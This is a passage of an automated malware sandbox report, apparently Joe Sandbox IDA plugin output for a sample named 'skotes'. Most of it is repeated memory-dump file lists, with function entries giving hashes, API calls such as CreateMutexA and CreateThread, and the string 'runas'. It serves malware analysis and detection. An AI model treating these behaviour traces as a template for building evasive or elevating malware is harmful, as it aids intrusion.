Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 299f0e3c34b032cf9214ac9dcba7f9b87871c255f3b3d25e61d35c321d258fa9
Instruction ID: 5ab273ae0dba7582bc1356475dc44b4ea21392b23a62660eb27e188cb176d179
Opcode Fuzzy Hash: 299f0e3c34b032cf9214ac9dcba7f9b87871c255f3b3d25e61d35c321d258fa9
Instruction Fuzzy Hash: 063127B17411088BEB08DB78DD89B7DBB76FBC5310F208618E518973D6D7BA4A818753

Function 005FA960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: faa7c98c579670b062c9c0e37bb588d9b947534163eef54975f8261308942cc3
Instruction ID: fb5f144d54747232a3799099dac97d5d2361c946d1ca7d4bbcbd566572989139
Opcode Fuzzy Hash: faa7c98c579670b062c9c0e37bb588d9b947534163eef54975f8261308942cc3
Instruction Fuzzy Hash: 2EE086213AAB1496E71076E8BD9EB397626A7D9F01F211424EA18CA1DA8BD447404263

Function 005F7430 Relevance: 4.8, APIs: 3, Instructions: 280COMMON

Download Yara Rule

Strings

runas, xrefs: 005F7303

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situExecuteMtx_destroy_in_situShell
String ID: runas
API String ID: 141703535-4000483414
Opcode ID: b9e88f7f488a45fc5de984c7e307310d92faf65a21e1649dfc5276cab1eff05b
Instruction ID: bcb1876dd74cfc709fbbce6fbea80224ea829ddda2438ab47d88f1048e3615ee
Opcode Fuzzy Hash: b9e88f7f488a45fc5de984c7e307310d92faf65a21e1649dfc5276cab1eff05b
Instruction Fuzzy Hash: 8FA1237161024C9FDB08EF68CC85BAE7BA7EB49300F50461DF905A77D2CB39A9808B95

Function 00626E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19947d6285af5d2b4f38675372d6e39ab5454529b546e52cbd211613e31fe089
Instruction ID: eeb65be551cf308ef7e2701973b703f4247c8c356f24033f08e9995e0d43dbf1
Opcode Fuzzy Hash: 19947d6285af5d2b4f38675372d6e39ab5454529b546e52cbd211613e31fe089
Instruction Fuzzy Hash: 4821E232905A286AEF116B68FD42FAE772B9F42334F110218F9643B2C1DB709E058F65

Function 00606D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00606D10
Sleep.KERNEL32(00007530), ref: 00606D25

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 911285a9cc423e87b6f90fd23217962c32e8fd3cf8929e1d8b1453e3605229f6
Instruction ID: ef98d950279855a3184c55572c15504e5c4022b4d0157c2ffd60fbc0f01f4d63
Opcode Fuzzy Hash: 911285a9cc423e87b6f90fd23217962c32e8fd3cf8929e1d8b1453e3605229f6
Instruction Fuzzy Hash: C6D04C757D9324B6F2641760AC07F57AA129B0AF52F255444B74C3F0D486E4351046AD

Function 005F8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005F8524

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
